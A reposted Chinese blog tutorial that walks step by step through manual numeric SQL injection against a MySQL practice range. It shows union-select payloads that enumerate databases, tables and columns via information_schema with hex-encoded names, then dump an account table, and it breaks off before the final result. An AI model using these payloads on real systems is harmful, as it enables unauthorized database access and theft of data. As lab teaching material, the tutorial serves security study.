转载: https://www.cnblogs.com/cui0x01/p/8620524.html
一、Mysql数据库结构
数据库A
表名
列名
数据
数据库B
表名
列名
数据
Mysql5.0以上自带数据库:information_schema
information_schema:存储mysql下所有信息的数据库(数据库名,表名,列名)
参数及解释
database():数据库名
user():数据库用户
version():数据库版本
@@version_compile_os:操作系统
符号“.”代表下一级的意思
information_schema.tables:
information_schema数据库下的tables表名,含义:存储所有数据库下的表名信息的表。
information_schema.columns:
information_schema数据库下的columns表名,含义:存储所有数据库下的列名信息的表。
Table_schema:数据库名
Table_name:表名
Column_name:列名
下面使用手工 对 数字型sqli 注入漏洞进行注入
感谢 米斯特安全 提供的在线靶场
地址 :http://132.232.100.27:88/
输入1 返回正常
输入 1' 返回错误
输入 1+1 返回正常,存在数字型注入漏洞
(也可以使用 1 and 1=1 返回正常)
(1 and 1=2 来进行判断 如果 1=1 返回正常页面 1=2 返回错误页面存在注入漏洞)
SELECT * FROM news WHERE id = 1 and 1=2
SELECT * FROM news WHERE id = 1 and 1=2
查询表中的字段数 (也可以使用order by 我这里使用的是union select)
在input 中输入1 union select 1,2,3 返回正常页面
在input 中输入1 union select 1,2,3,4 返回错误页面
说明 该表中有3个字段
SELECT * FROM news WHERE id = 1 union select 1,2,3
下面使用 database(),user(),version() 来替换其中的 1,2,3就可分别看见 数据库中的 数据库名 用户 版本
查询数据库 -1 union select 1,database(),3
可以查出数据库的名称就:pentest
group_concat语法:
group_concat([DISTINCT] 要连接的字段 [Order BY ASC/DESC 排序字段] [Separator ‘分隔符’])
查询所有的数据库
-1 union select 1,group_concat(schema_name),3 from information.schemata
注意 改变的时候 不要将 1 替换 ,好像没有查询 字段1,如果替换字段1 是没有反应的
可以查出 数据库中 有 information_schema,mysql,pentest,performance_schema 等库
查询出来数据库,那么下一步 我们就查询 pentest 数据库下的数据表
查询 = 数据库名的时候 需要将数据库的名称为16进制编码,提供一个编码转换的地址(https://www.bejson.com/convert/ox2str/)
pentest =====> 0x70656e74657374
在输入框中输入 -1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 0x70656e74657374
查询结果如下
pentest数据库中 有两个表分别为 account 和 news
下面查询 account表中的列
account转换为 16进制
account ------->>>> 0x6163636f756e74
下一步 查询 account表中的列名
在输入框中输入
-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name =0x6163636f756e74
查询结果如下 : 有三个 字段 Id rest own
最后一步,查询表中的数据
-1 union select 1,rest,own from account
最终查询出来的结果为